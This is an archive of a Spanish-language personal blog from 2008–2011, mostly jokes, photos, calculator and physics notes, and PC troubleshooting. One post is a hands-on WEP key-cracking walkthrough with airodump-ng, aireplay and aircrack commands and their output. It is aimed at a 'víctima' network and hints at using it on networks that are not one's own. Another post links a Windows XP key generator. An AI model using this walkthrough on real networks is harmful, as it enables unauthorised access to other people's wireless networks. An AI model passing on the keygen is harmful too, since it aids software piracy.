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Bioloid Premium Kit

2011-03-08T15:35:00.000-08:00

Nuevo robot Bioloid!, les presento este nuevo robot llamado Bioloid de la marca Robotis, con el cual estaremos trabajando mis compañeros en el ESIME - IPN.

Este robot será parte de mi proyecto de titulación espero ir subiendo todo sobre este robot. Mientras aquí les dejo unas fotos. :)

Feliz comienzo de año

2011-01-12T08:59:00.000-08:00

Les deseo buena suerte en este año que viene y exito en todos sus proyectos, a todos mis amigos buena vibra y gracias al año viejo por los nuevos amigos que me dejó, paty"BFF", keila, etc.... :) , felicidad a mi familia etc.. Jezz t amo.

Mi pequeño pueblito

2010-06-07T10:32:00.000-07:00

Un pequeño pueblito muy bonito :)

Tilt shift (efecto miniatura, maqueta, etc..)

2010-06-06T20:49:00.000-07:00

El efecto Tilt-shift se usa en la fotografía profesional y es un producto artístico que genera una ilusión óptica capaz de hacernos creer que estamos viendo el mundo en miniatura de una maqueta.

Y ahora aqui mis primeras imagenes.

Lago de Chapultepec

Niños Héroes castillo de Chapultepec

Terminal marítima Acapulco

Bahía de Acapulco

Yates Acapulco

Timelapse - Acapulco

2010-05-15T15:04:00.000-07:00

Hola ultimamente he colocado en el blog algunos vídeos con el nombre de Timelapse bueno y que es esto de Timelapse, bueno lógicamente expertos en fotografía ya sabrán obviamente esto, pero para los que no el significado de Timelapse o técnica de Timelapse se define como:

A una secuencia de vídeo acelerada, donde los acontecimientos suceden a una velocidad mucho más rápida de la normal.

Existen varios métodos para la realización de vídeos con la técnica Time-Lapse, entre los que se encuentran:

* Grabar una secuencia con una vídeo cámara, para posteriormente acelerar la película en cualquier programa de edición de vídeo.

* Otro método es la captación de imágenes a determinados intervalos de tiempo. Vamos disparando una fotografía cada cierto tiempo, y al unir esas imágenes en un programa de edición de vídeo en nuestro ordenador, obtenemos una película con el efecto de imagen acelerada característico del time-lapse.

Y para muestra les dejo este vídeo que mi querido Acapulco el cual grabo Bernardo Mancebo.

Acapulco 2010 from Bernardo Mancebo on Vimeo.

Ciudad en Timelapse "The Sandpit"

2010-05-15T11:47:00.000-07:00

Genial video titulado "The Sandpit"

The Sandpit from Sam O'Hare on Vimeo.

Timelapse - Genial Video

2010-05-15T10:44:00.000-07:00

Showdown with Zeus -- a lightning storm timelapse from Lucasberg (Joey) on Vimeo.

10 de Mayo

2010-05-10T15:35:00.000-07:00

Feliz 10 de Mayo a mi mamá y a todas las mamás. Espero que el festejo sea de los mas agradable y no como en la imagen :) jajaja.

El desafio del "Cubo"

2010-05-10T14:55:00.000-07:00

Como hizo el carpintero para juntar estas piezas y formar el cubo.

Ver solución

space invaders

2010-05-09T09:01:00.000-07:00

Hoy les traigo un Space Invaders hecho por mi con unas piezas de mosaico de cristal que tenia ahi de sobra, y para quien no recuerde este juego muy bueno de Atari aqui les dejo primero la imagen del juego.

Ahora aqui les va mi figura :)

Haggard - Eppur Si Muove

2010-05-08T11:34:00.000-07:00

Hola les comparto este video del grupo Haggard el cual habla de Galileo Galilei y su situación tras apoyar la modelo heliocéntrico.

Para mi gusto es una buena banda que toca metal sinfónico, death metal y doom metal procedente de Alemania. Bueno aqui les dejo el video:

Concierto de musica antigua

2010-05-07T22:01:00.000-07:00

Como hacer una Ecuacion diferencial de segundo orden en una TI-89 Titanium

2010-05-07T13:59:00.000-07:00

Esta vez les enseñaré a hacer una Ecuacion diferencial de segundo orden con una calculadora TI-89 Titanium. Y para empezar usaremos esta ecuacion: y''+2y+4 = 3x

1. Empezamos tecleando la tecla [Home] para ubicarnos en el area de trabajo

2. Pulsamos la tecla F3 y con las teclas de direccion pulsamos hacia abajo (↓) y seleccionamos la opción deSolve() o podemos seleccionar esta opcion de esta otra forma alternativa;

Pulsamos F3, despues [Alpha] y tecleamos [c] "Esta tecla se activa con la tecla [alpha].

3. Ya tenemos la opcion deSolve() ahora introduzca la ecuación asi

deSolve(y''+2y+4 = 3x,x,y)

Para resolver pulse la tecla [Enter].

En la siguiente imagen podemos ver como nos queda el asunto.

Si no aprecian bien el resultado aqui les dejo una mejor vista.
Nota: los @2 y @3 = C1 y C2, son las constantes ya que la calculadora Ti-89 las muestra de esta forma

En otra edicion lo resolveremos a mano para que vean como se hacen estas cosas, ya que en esta ocasión lo hicimos para aprender a usar la calculadora TI-89 Titanium.

Acapulco

2010-05-07T13:25:00.000-07:00

Aqui les dejo unas fotos de Acapulco que yo mismo tome espero les agrede. :)

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Plaza del carillón IPN

2010-05-07T12:59:00.000-07:00

El 11 de Diciembre fue inaugurada la célebre Plaza del Carillón en el IPN, en un esfuerzo por rescatar uno de los símbolos más representativos del Instituto.
El Carillón es un instrumento musical compuesto por 42 campanas que fueron donadas por el Gobierno de Holanda a México en 1958, mismo que fue inaugurado por primera vez el 20 de diciembre de 1961 en el Casco de Santo Tomás y que actualmente queda ubicado en el área de Zacatenco, enfrente de la Alberca Central.

Para este proyecto se restauraron algunas campanas dañadas o extraviadas con el paso de los años y se utilizó tecnología multimedia para su programación, así como iluminación en toda la Plaza basada en tecnología LED para ahorro de energía y efectos visuales coloridos.

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Análisis del péndulo doble caótico

2010-05-07T09:58:00.000-07:00

Ahora les traigo este análisis del péndulo doble caótico que realice como partes de mis actividades en la escuela. Y al final de este análisis les dejo el vídeo del péndulo doble caótico

Nota: Para este analisis primero se siguen los siguientes pasos:

1. Se localizan las coordenadas de las masas m1 y m2
2. Se de terminana la función de Lagrange (Lagrangiana) para el sistema mostrado.
3. Se determina con la función de Lagrange las ecuaciones de Lagrange.

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Y aqui el video del pendulo doble del cual con las ecuaciones que acabamos de encontrar podremos describir el moviminento de un pendulo doble.

2010-05-07T09:18:00.001-07:00

Hola aqui les dejo el video de mi primo tocando en un concierto de musica antigua, ya que mi primo es miembro del concervatorio nacional de musica del DF. Espero les guste como a mi.

Calculadora Ti-89 Titanium

2010-05-05T12:59:00.000-07:00

Hola, despues de mucho tiempo ahora paso y les dejo estas imagenes de esta fabulosa calculadora graficadora de la marca Texas Instruments modelo Ti-89 Titanium.

Los mas fabulos de esta calculadora es que es una importante herramienta a la hora de resolver ecuaciones muy compleja.

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Espero les agraden las imagenes y despues traerles mas de esta calculadora. :)

Tecate :)

2008-07-26T22:08:00.001-07:00

Musico neumático

2008-06-23T21:20:00.000-07:00

Aquí un vídeo muy interesante, es un proyecto de automatización neumática usando un clarinete. Veanlo a ver que tal

Tarjeta madre nueva

2008-06-16T09:04:00.000-07:00

Hace un poco me hice de una nueva tarjeta madre el cual tenia estas especificaciones:

MOTHER BORRAD ECS GOAL 3 MOD. 761GX/965L
ROCESADOR SEMPROM A 3000
SOCKET 754
Gráficos 2D/3D integrados
Memoria Compartida: hasta 128MB
Soporta DDR400/333/266 DDR
ALMACENAMIENTO
4 x dispositivos Ultra DMA133/100/66
2 x dispositivos Serial ATA
CODEC de Audio ADI AD1888 de 6 canales

El detalle es este que al momento de instalar mi tarjeta madre yo contaba con una memoria de DDR 256 de ram y un disco duro con win xp previamente instalado para la tarjeta vieja. Bueno al momento de cargar todo esto y prender por primera vez mi CPU el bio logicamente la configure para el rendimiento optimo para estos componetes instalado.

A todo esto mi sistema operativo que tenia me mandaba un mensaje desea arrancar windows normalmente. Le daba enter y la computadora lo que hacia era reiniciarce de nuevo y de ese mensaje no pasaba. Con este problema me vi en la necesidad de consultar en san google y leer tambien los manuales de mi tarjeta hasta que me di cuenta que todo este relajo se debia que mi memoria no era la adta para este tipo de nuevas tarjetas. asi que tube que instalarle una de DDR 512 de ram para poder arranca mi disco pero bueno le doy un consejo. Si tiene una nueva tarjeta madre lo mas recomendable es instalar el S.O nuevamente asi se evitaran muchos problemas.
Tambien si se compran una nueva tarjeta lo mas recomendable es comprarse una memoria ram que sea la adecuada para esta nueva tarjeta. Si hacen esto, se evitaran varios dolores de cabeza.

Las nuevas tarjetas madres que estan saliendo hoy en dia viene previamente configuradas, tambien ya dentro de la bios este trae una opcion "Load Optimized Defaults" esta configura la bios con respecto a sus componetes de esta CPU.

Tambien con las nuevas tarjetas si usas discos SATA, tendras que cargar tus driver en un disquete para instalarlo con tu nueva instalacion de windows, esto lo haces cuando estes cargado el gestor de instalacion de windows y presionas F6.

Pero si eres usuario de alguna distribucion de linux te podras evitar estos dolores de cabezas, ya que las distribuciones se actualizan seguidamente, asi que las distros vendran con los drives previamente cargados.

Tambien podrias modificar tu windows Xp o otra version, asi podras insertar los driver de tu CPU, creando de esta forma un version de windows xp personalizado para tu CPU.

Para terminar, si piensas actualizar tu CPU, lo mas recomendable es comprar tu tarjeta madre con un procesador integrado o el que sea adecuado para este, conseguir de una vez una nueva memoria, y tambien checar si tu fuente este 20 o 24 pines por que tambien muchas veces estas nuevas tarjetas trabajan con fuentes de poder de 24 pines.

Generador de Key Windows XP pro SP2

2008-06-15T11:46:00.000-07:00

Aqui les dejo un generador de claves para Windows pro XP SP

http://www.badongo.com/file/9904210

Carta de divorcio de una mujer a su marido y la contestación de este:

2008-06-14T08:47:00.001-07:00

Te escribo esta carta para decirte que he decidido dejarte, por el bien de los dos.

He sido una buena mujer para ti estos siete años, y sin embargo no puedo decir nada bueno que me haya tocado a mi.
Estas dos últimas semanas han sido un infierno:
Hoy, tu jefe me llamó para decirme que habías renunciado al trabajo y eso fue lo último que pude soportar.
La semana pasada, viniste a casa y no mencionaste nada acerca de mi corte de pelo, ni del arreglo de mis uñas; cociné tu comida favorita y hasta estrené un nuevo camisón, pero tu, llegaste a casa, comiste en dos minutos y te fuiste directo a la cama después de ver el partido de fútbol.

Ya nunca me dices que me amas y ni tan siquiera me acaricias.
O me estás engañando con otra o ya no me quieres.
De cualquier manera, me quiero ir y te abandono.

P.D. No trates de buscarme. Tu hermano y yo nos mudamos a Barakaldo juntos.

Que te vaya bien

Tu Ex-esposa.

Querida Ex-esposa:

No sabes que alegría me ha causado recibir tu carta.
Es verdad que tú y yo hemos estado casados 7 años, aunque eso no significa que hayas sido una buena mujer. Todo lo contrario.

Verás… Yo veo tantos partidos de fútbol para tratar de ahogar el aburrimiento que me causan tus constantes quejas y malas actitudes. Que pena que no funcionó nuestro matrimonio, porque yo te amaba.
Claro que noté que te habías cortado el pelo y la primera cosa que me vino a la cabeza fue:
‘¡¡¡Joder, si parece un hombre!!!’…pero mi madre me enseñó que si no puedo decir algo bueno de alguien, es mejor no decir nada.
Cuando cocinaste mi plato favorito, debes haberme confundido con mi hermano, porque yo dejé de comer cerdo hace casi 7 años.
Me fui a dormir cuando te pusiste ese camisón, porque la etiqueta con el precio todavía estaba pegada a la prenda y recé pidiendo que fuera coincidencia que mi hermano me pidiese prestados 50 euros esa misma mañana cuando la etiqueta marcaba 49,99.
No obstante y como todavía te amaba, pensé que todavía podíamos resolver lo nuestro así, que cuando descubrí que había sido el único acertante de la loto de diez millones, renuncié a mi trabajo para tener todo el tiempo para ti y, además compré dos boletos para Jamaica. Pero cuando llegué a casa, tú ya te habías marchado.
Todo ocurre por una buena razón, eso creo.
Espero que tengas la vida que siempre deseaste.

Mi abogado dice que gracias a la carta que me dejaste, no recibirás ni un céntimo, así que cuídate mucho.

P.D . Ah, no se si alguna vez te comenté esto antes, pero mi hermano,Carlos, cuando nació, se llamaba Carla.

Confío en que esto no te será un problema.
Firmado,

Rico y Libre!!!

Hechos sobre Chuck Norris by kris

2008-05-26T08:47:00.000-07:00

Hechos sobre Chuck Norris

1.- Chuck Norris no necesita hacer auditorías wep, el se sabe todas las claves de los router.
2.- Chuck Norris tiene su propia distro Chuckbuntu-Norris.
3.- En rapidshare a Chuck Norris no le restringen las descargas.
4.- El emule de Chuck Norris baja a 400 gb/s, con una conexión de 56 kb/s, con los puertos cerrados, con el firewall activado y sin compartir ni un solo archivo. Y si a la mula se le ocurre
ponerse la venda de los ojos, inmediatamente se la quita de una patada giratoria.
5.- A Chuck Norris le cae bien el Dr. House, por eso sólo lo dejó cojo.
6.- House no consiguió curar a Chuck Norris?
7.- Chuck Norris programa Sistemas Operativos en código binario?
8.- Chuck le canceló el programa a Raul Velazco
9.- A Chuck Norris nunca la aparece la famosa pantalla azul cuando usa cualquier versión de windows.
10.- Nadien a visto al monstruo del lago Ness por que este se esconde de Chuck Norris.
11.- Chuck Norris dividio a los Beatles y no Yoko Ono.
12.- Chuck Norris es el quinto elemento
13.- A Chuck Norris nunca se le acaba la tinta de su impresora.
14.- Chuck no necesita actualizar su hardware para poner la versión mas nueva de Windows.
15.- Chuck le dio por primera ves mariguana a bob marley.
16.- Los emos vieron a chuck norris, desde entonces son infelices y solo piensan en suicidarse.

<--- Aqui corre Chuck Norris su Windows vista.

17.- Chuck le enseño a Polo polo a contar chistes.
18.- Cuando conecta chuck norris su iPod a otra computadora nunca le dice: Desea sobrescribir el contenido del iPod con el de la nueva biblioteca de música.
19.- Chuck hundió al Titanic.

Las mejores Live CD para auditoria wireles (WEP)

2008-05-24T11:53:00.000-07:00

Esta vez quisiera hablarles sobres las distros que existen para hacer las auditorías de redes inalámbricas. Por tal motivo les mostrare los mejores live CD que existen hasta el momento.

Back Track

Es una distribución GNU/Linux en formato LiveCD, esta es una de las mas completas distribuciones para las auditorias wep y mas populares. Dando soporte a una gran infinidad de tarjetas wireless.

Deriva de la unión de dos grandes distribuciones orientadas a la seguridad, el Auditor + WHAX.

WHAX a su vez fue la evolución del Whoppix(WhiteHat Knoppix) el cual paso a basarse en SLAX en lugar de en Knoppix.

Incluye larga lista de herramientas de seguridad listas para usar, entre las que destacan numerosos scanners de puertos y vulnerabilidades, archivos de exploits, sniffers, herramientas de análisis forense y herramientas para la auditoría Wireless.

Link oficial: http://www.remote-exploit.org/

Link soporte oficial:http://backtrack.offensive-security.com/index.php?title=Main_Page

Lista de tarjetas soportadas: http://backtrack.offensive-security.com/index.php/HCL:Wireless

Si eres los que tienen algun problema al arrancar si Live CD. Aqui puedes ver algunos problemas que presentan las diferentes marcar de laptop y su posible solucion. Estas soluciones tambien te puden servir si usas las demas distros como wifislax y wifiway ya que son muy parecidas.

link: http://backtrack.offensive-security.com/index.php/HCL:Laptops

Wifislax

Wifislax esta basado principalmente en SLAX (basado en la distribución Slackware Linux), pero debido al gran trabajo realizado por los autores del BackTrack.
Las principales caracteristicas de esta distro es que cada dia va en aunmento su soporte en tarjetas wireless.

Esta distro integra principalmente los drivers de las ipw2200, los rt73 de las nuevas tarjeta USB con chipset ralink, las nuevas PCI con el chipset rt61, así como los acx y los ipw3945 de conexión y de auditoria, sin olvidar los novedosos zydas zd1211rw y como no los rtl8187 de ultima generación, además de los drivers de toda la vida para el entorno de seguridad wireless, madwifi-ng, realtek, etc.

Link oficial: http://www.wifislax.com/

Wifiway

Wifiway es un live CD que, basado en el sistema operativo Linux, puede ser ejecutado sin necesidad de instalación directamente desde el CDROM o también desde el disco duro como LiveHD, además de poderse instalar en memorias USB o en disco duro.

Wifiway es un linux live cd diseñado por www.seguridadwireless.net esta adaptado para el wireless y ademas con soporte internacional.

No esta basado en debian, mandriva, fedora ni slax, este es un proyecto creado con linuxfromscratch.

El live cd fue creado con las Linux-live-scripts.

Articulo creado originalmente por -«¤ø,¸¢®i§¸,ø¤»-

Que dice un programador cuando algo sale mal :)

2008-05-23T16:32:00.000-07:00

20: “Pues es raro…”
19: “Nunca había pasado antes.”
18: “Pues ayer funcionaba…”
17: “¿Cómo es posible?”
16: “Tiene que ser un problema de tu hardware.”
15: “¿Qué hiciste mal para lograr que fallara?”
14: “Algo debe de estar mal en tus datos.”
13: “¡Si no he tocado ese módulo en meses!”
12: “Debes de estar usando una versión anterior.”
11: “Es sólo una desafortunada coincidencia.”
10: “¡Es que no lo puedo probar todo!”
09: “ESTO, no puede ser la causa de ESO.”
08: “Funciona, pero no lo he probado.”
07: “¡Alguien debe de haber cambiado mi código!”
06: “¿Has comprobado que no haya algún virus en tu sistema?”
05: “Ya sé que no funciona, pero ¿te gusta?”
04: “No puedes utilizar esa versión en tu sistema”
03: “¿Por qué quieres hacer eso?”
02: “¿Y tú dónde estabas cuando se colgó el programa?”
01:”¡En mi máquina si funciona!”

Auditoria WEP con Gategay MX6937m y Wifiway 0.8

2008-05-22T10:41:00.000-07:00

Manual auditorias WEP Wifiway 0.8

Escribo este manual para platicarles sobre mi experiencia en Wifiway 0.8, usando mi laptop Gateway MX6937M, Wireless IPW3945ABG.

Lo básico para las auditorias WEP es:

***Wifiway (distro de Linux para auditorias o para ser más claros, para hacer hack las redes wireless).
Link: http://www.wifiway.org/sp/descarga.html
Descargar la versión 0.8 ya que con la que trabajaremos.

***Una laptop con tarjeta IPW3945ABG
En mi caso yo tengo una laptop Gateway MX6937m con esa tarjeta de red.

***Una señal wifi cercana de preferencia para practicar usa la de algún amigo etc.
(Usa tu imaginación :)

Bueno tratare de ser lo más claro con esto, y los guiare de la mano con todo los detalles que pueda. Así que empezaremos por paso.

1.- Tienes que arrancar tu imagen de CD en tu laptop ojo en esta parte por que para
usuarios de una gateway MX6937m no les arrancar la imagen, así que tendrán
que hacer esto

Cuando arranque y les muestre el primer menú de todo, si ya han tenido
experiencia en alguna distro live CD ya sabrá de que hablo, ok hagan esto
presionen la tecla TAB y les aparecerá hacia abajo unas letras y al final
de estas escriban irqpoll y le dan enter.

2.- Ya en la distro después que se cargo todo.
Abrimos una consola.
Hacemos:

airodump-ng wifi0

Con esto escaneamos las redes mas cercanas y veremos las señales wifi, con esto
seleccionamos a la rede de la victima y paramos el proceso con Ctrl+c.

3.- Abrimos otra pestaña o otra consola
Hacemos:

ipw3945.sh

este es un script necesario nos pedirá el canal "CH" de la victima, el rate de
captura que sera 2 y al final la BSSID.

4.- En esta etapa crearemos el archivo que contendrá nuestro paquete de capturas
y abrimos otro pestaña.

Hacemos:

airodump-ng -c 6 -w Mipaquetes wifi0

NOTA: pequeña esplicacion de la sintaxis

airodump-ng -c "aquivalaCHdelavictima" -w "cualquiernombreparaelarchivo" wifi0

5.- Hacer la Asociación con la señal wifi.

Hacemos:

aireplay -1 0 -a 00:1A:5C:6A:95:69 -h 00:37:RE:98:HC:2E -e 2WIRE341 wifi0

NOTA: pequeña explicación de la sintaxis
aireplay -1 0 -a BSSID -h TUMAC -e ESSID wifi0

BSSID: es la BSSID de la victima lo puedes ver al principio en el paso 2
ESSID: también ver el paso 2

Para saber tu MAC haces en otra consola esto

ifconfig

Veras unos numero como estos 00-11-22-33-44-55-00-00-00-.....
Solo necesitaras los primeros pares de 6 numeros ok y cambias las "-" por ":"
quedara algo asi 00:11:22:33:44:55

Si consigues la autentificación veras algo parecido a esto:

wifiway:~# aireplay -1 0 -a BSSID -h TUMAC -e ESSID wifi0
18:50:17 Enviando petición de autentificación
18:50:17 Autentificación conseguida
18:50:17 Enviando petición de asociación
18:50:22 Enviando petición de autentificación
18:50:23 Autentificación conseguida
18:50:23 Enviando petición de asociación
18:50:26 Asociación conseguida :-)
wifiway:~#

6.- Después de asociar

Hacemos:

aireplay -3 -b BSSID -h TUMAC wifi0

Y empezaras a ver algo parecido a esto.

wifiway:~# aireplay-ng -3 -b BSSID -h TUMAC wifi0
Saving ARP requests in replay_arp-0627-121526.cap
You must also start airodump to capture replies.
Read 1 packets (got 0 ARP requests), sent 0 packets...

Cuando veas que las ARP empiezan a subir quiere decir que todo fue un éxito y
Empezaras a ver algo así

wifiway:~# aireplay-ng -3 -b BSSID -h TUMAC wifi0
Saving ARP requests in replay_arp-0627-121526.cap
You must also start airodump to capture replies.
Read 2493 packets (got 2345 ARP requests), sent 1305 packets...

NOTA: Solo es un ejemplo para que sepas si lo estas haciendo bien, claro que a ti
te saldrán otro numero etc..

Después de paso unos 10 minutos y a ver conseguido una DATA de 100000 podrás ejecutar el paso final

7.- Aircrack
Hacen en una cosola nueva:

ls

Veras varios archivos o unos 3 para ser mas exactos, si recuerdas en el paso 4 creamos un archivo llamado Mipaquetes, bueno ahora lo encontraremos con el nombre de Mipaquetes-01.cap, así como esta el nombre hacemos esto:

aircrack-ptw Mispaquetes-01.cap

Si los DATA's fueron suficiente te mandara esto al final de 5 seg.

Found key with len 05: aqui estara la clave :)

El empresario multimillonario

2008-05-21T08:21:00.000-07:00

Un empresario multimillonario tenía entre sus múltiples pertenecias, miles de hectáreas de tierras fértiles, cientos de miles de cabezas de ganado fino y una preciosa hija de 18 años heredera de todas sus riquezas. Un día nuestro millonario organizó una reunión en su mansión a la cual invitó a toda la alta sociedad del país, y al llegar la media noche, descubrió una piscina de 500 metros con las paredes extra altas en tres de sus lados, en los primeras 100 metros de la piscina había colocado pirañas sudamericanas, en el segundo tramo cocodrilos del Africa, luego barracudas del caribe, después anguilas eléctricas y finalmente tiburones australianos.

Nuestro hombre reunió a todos sus invitados en uno de los extremos de la piscina y les dijo:

Creo que la juventud está perdida, ya no hay hombres en este mundo, por eso si hay un macho en esta fiesta, lo reto a cruzar esta piscina. Al que lo haga le daré a escoger entre la mitad de mis tierras, el 50% de mi ganado o la mano de mi única hija y heredera. No había terminado de hablar el empresario cuando un joven se lanza a la piscina, la cruzó y salió por la otra orilla, el viejo emocionado le dijo:

-Nunca creí ver valor como éste antes de morir, dime muchacho, ¿Quieres la mitad de mis tierras?

-No, contestó rápidamente el joven.

-Entiendo lo que quieres, es el 50% de mi ganado, razonó el millonario.

-Tampoco, replicó el joven.

-Ah, lo que quieres es ser mi yerno, y único heredero.

-No quiero nada de eso, grito el muchacho.

-Y entonces, ¿Qué quieres? Preguntó confundido el millonario.

-Quiero saber, ¿Quién fue, el cabrón que me empujó a la piscina?

¿Como saber si eres adicto a Linux?

2008-05-20T07:31:00.000-07:00

1. Llevas un Live CD con Linux cuando usas otros ordenadores fuera de casa. (Así no nos contaminamos).

2. Estás suscrito a revistas de Linux como Linux Journal, Mag Linux, o Linux Format…

3. Cuando un amigo o familiar se queja de que su equipo está lento debido a spyware, adware y virus, le dices que tiene que instalar Linux.

4. Te gusta un pingüino como mascota.

5. Comprendes el comando “mv windows /dev/null”.

6. Tu página de inicio es http://www.google.com/linux

7. Estas suscrito a mi feed RSS.

8. Tienes una taza de café RTFM.

9. Participas en el System Administrator Appreciation Day.

10. Te dejas ver Freenode.

11. Eres miembro de un Grupo de Usuarios Linux.

12. Has instalado Linux a mama y papa en su ordenador.

13. Conoces el significado africano de la palabra Ubuntu.

14. Sabes quien es Linus Torvalds.

15. Sabes quien es Hans Reiser y de que se le acusa.

Super Mario, tocado en dos guitarras

2008-05-17T22:20:00.000-07:00

Casi no me gusta poner videos en mi blog pero hoy haré una excepción, ya que este video es muy bueno, espero les guste.

Por si te agarran dormido en el trabajo

2008-05-12T20:50:00.001-07:00

Y entre otras cosas curiosas me encuentro esta curiosa entrada con los 10 mejores pretextos por si alguna vez te atrapan dormido en el trabajo

10. “En el Banco de Sangre me dijeron que esto podía pasar”.

9. “Es el descanso de 15 minutos para recuperar energías que nos recomendaron en el curso de Gestión que me enviaron a hacer la semana pasada”.

8. “Estaba intentando imaginar cómo es la vida de un ciego”.

7. “¡No estaba dormido! Estaba pensando sobre el futuro de la empresa e intentando diseñar una nueva estructura”.

6. “Estaba comprobando si mi teclado es resistente a las babas”.

5. “Estaba haciendo ejercicios de yoga para aliviar el estrés del trabajo. ¿Aquí se discrimina a las personas que practican yoga?”.

4. “¿Por qué me interrumpe? Casi tenía la solución de ese problemón”.

3. “La máquina de café esta rota”.

2. “Alguien puso café descafeinado en el bote incorrecto”.

1. “… por los siglos de los siglos. Amén”.

El genesis de la informatica

2008-05-12T20:43:00.000-07:00

Hace unos dias me encontre con esta entrada, la cual me parecio en verdad graciosa, espero que les agrade y si hay por ahy algun fan de “güindos” no lo tome tan a pecho…

Al principio Dios creo el Bit y el Byte. Y de ellos creo la Palabra. Y hubo dos bytes en una palabra; y nada mas existía. Y Dios separo el Uno del Cero; y vio que esto era bueno.

Y Dios dijo:
- Hágase el Dato.
Y así sucedió.

Y Dios dijo:
- Que los Datos vayan a su correspondiente lugar.
Y creó los disquetes, los discos duros y los discos compactos.

Y dijo Dios:
- Háganse los computadores, así habrá lugar para poner los disquetes, discos duros y compactos.
Y Dios creo los computadores y los llamó Hardware.

Y no había Software aún.
Pero Dios creo programas, chicos y grandes …
Y les dijo:
- Vayan y multiplíquense por si mismos y llenen toda la Memoria.

Y dijo Dios:
- Creare al Programador; y el Programador hará nuevos programas y gobernará sobre los computadores, programas y datos.

Y Dios creo al Programador y lo puso en el Centro de Datos.
Y Dios le mostró al Programador el Árbol de Directorios y le dijo:
- Puedes usar todos los volúmenes y subvolumenes, pero NO USES Windows.

Y Dios dijo:
- No es bueno para el Programador estar solo.
Y tomo un hueso del cuerpo del Programador y creo una criatura que buscaría al Programador, lo admiraría y amaría las cosas que hiciera el Programador.
Y Dios llamo a la criatura EL USUARIO.

Y el Programador y el Usuario fueron dejados por ÉL, solos bajo el DOS desnudo y esto fue bueno.

Pero Bill fue mas listo que todas las otras criaturas de Dios.
Y Bill le dijo al Usuario:
- ¿Realmente Dios te dijo que no ejecutaras ningún programa?

Y respondió el Usuario:
- Dios nos dijo que podíamos usar cualquier programa y cualquier dato pero nos dijo que no ejecutáramos Windows o moriríamos.

Y Bill dijo al Usuario:
- ¿Cómo puedes hablar sobre algo que no has probado? En el momento que corras Windows serás igual a Dios. Podrás crear cualquier cosa que desees con un simple click del ratón.

Y el Usuario vio que los frutos del Windows eran buenos y fáciles de usar. Y el Usuario vio que cualquier conocimiento era inútil, pues Windows podía reemplazarlos.

Así que el Usuario instalo Windows en su computador y le dijo al Programador que era bueno.

Y el Programador empezó a buscar nuevos drivers.
Y Dios le pregunto:
- ¿Qué buscas?
Y el Programador respondió:
- Busco nuevos drivers porque no puedo hallarlos en el DOS.
Y Dios dijo:
- ¿Quien te dijo que necesitabas drivers? ¿Ejecutaste Windows?
Y el Programador dijo:
- ¡Fue Bill quien nos lo dijo!

Y Dios dijo a Bill:
- Por lo que hiciste serás odiado por todas las criaturas.
Y el Usuario estará siempre descontento contigo.
Y siempre venderás Windows.

Y Dios dijo al Usuario
- Por lo que hiciste, Windows te decepcionara y se comerá todos tus recursos.
Y tendrás que usar programas piojosos.
Y siempre confiarás en la ayuda del Programador.

Y Dios dijo al Programador:
- Porque oíste al Usuario nunca serás feliz. Todos tus programas tendrán errores y tendrás que arreglarlos hasta el fin de los tiempos.

Y Dios los echo del Centro de Datos y cerro la puerta y la aseguró con un password.

FALLA DE PROTECCION GENERAL - Apriete Ctrl-Alt-Del

Suicidio

2008-05-12T20:34:00.000-07:00

Polopoloonline.com

2008-04-26T22:01:00.000-07:00

Aqui les dejo este enlace de este exitoso comediante mexicano, que ami en lo personal me gusta mucho sus chiste. Y ahora para todos los Fans de polo polo en esta web podran descargar sus chistes animados totalmente gratis asi que podras verlos desde tu cell o ipod o simple mente descargate un reproductor de video en formato 3gp.

www.polopoloonline.com

Fraces graciosas

2008-04-22T14:34:00.000-07:00

No soy un completo inútil, por lo menos sirvo de mal ejemplo.
Esta obsesión de suicidio me está matando.
No más medios de comunicación, los queremos completos.
Si no eres parte de la solución, eres parte del problema.
Errar es humano, pero echarle la culpa a otro es más humano todavía.
Lo importante no es saber, sino tener el teléfono del que sabe.
Yo no sufro de locura, la disfruto a cada minuto.
Si yo fuera tú me enamoraría de mí.
Es bueno dejar la bebida, lo malo es no acordarse dónde.
La vida es como un moco: intragable, dura y a veces no te deja respirar.
Sonríe, yo existo.
El dinero no hace la felicidad, la compra hecha.
Una mujer me arrastró a la bebida, y nunca tuve la cortesía de darle las gracias.
Si tu novia perjudica tu estudio, deja el estudio y perjudica a tu novia.
La inteligencia me persigue pero yo soy más rápido.
Cualquiera se puede equivocar, inclusive yo.
La verdad absoluta no existe, y esto es absolutamente cierto.
Hay un mundo mejor, pero es carísimo.
Ningún tonto se queja de serlo. No les debe ir tan mal.
Estudiar es desconfiar de la inteligencia del compañero de al lado.
La mujer que no tiene suerte con los hombres no sabe la suerte que tiene.
No hay mujer fea solo belleza rara.
No estoy en contra de que haya hombres feos, pero por qué todos viven en esta cuidad.
La pereza es la madre de todos los vicios, y como a la madre hay que respetarla.
Estoy preñado de ideas pero no las puedo parir.
Ahorre energía, no sea caliente.
Las niñas buenas van al cielo y las malas a todas partes.
Si un pájaro te dice que estás loco, debes estarlo pues los pájaros no hablan.
En cada madre hay una suegra en potencia.
Pitágoras inventó los corpiños para que los senos no se escapen por la tangente.
No te tomes la vida en serio, al fin y al cabo no saldrás vivo de ella.
Felices los que nada esperan porque nunca serán defraudados.
El alcohol mata lentamente, no importa no tengo apuro.
La confusión esta clarísima.
Mátate estudiando y serás un cadáver culto.
El mundo se está quedando sin genios: Einstein se murió, Beethoven se quedó sordo, y a mí me duele la cabeza.
Lo triste no es ir al cementerio sino quedarse.
Lo importante no es ganar sino hacer perder al otro.
Si quieres una mano que te ayude, la encontraras al final de tu brazo.
Vivir en las nubes no es malo, lo malo es bajar.

Imagenes graciosas 2

2008-03-31T21:41:00.001-07:00

Aquí os pongo unas cuantas fotos graciosas que me he encontrado. Feliz inicio de semana

Joder con los Simpsons…

Borracho o loco

Una o dos tias

Zas en toda la boca

Imagenes graciosas

2008-03-31T21:33:00.001-07:00

Aqui les pongo estas graciosas imagenes para empezar de buen humor esta semana :)

Uyyyy que pequeña….

Al gimnasion con escaleras mecanicas…xd

Mojaditos…

Que dolor….

Pepsi o Coca Cola…

Pastelitos en forma de Mojón

2008-03-28T22:36:00.000-07:00

Fail, fail, fail....

2008-03-28T22:03:00.000-07:00

Woow que rico, lo que le pone mi abuela a la comida.

Sin palabras :)

Si así están los ascensores como estarán de grandes los cuartos :)

Con esas campañas no creo que se anime la gente a ir

Zapatos de oro

No entiendo por que le dicen miercoles de cenizas :)

Humor grafico

2008-03-28T21:55:00.000-07:00

Casos de la vida real

2008-03-27T23:03:00.001-07:00

click para ampliar.

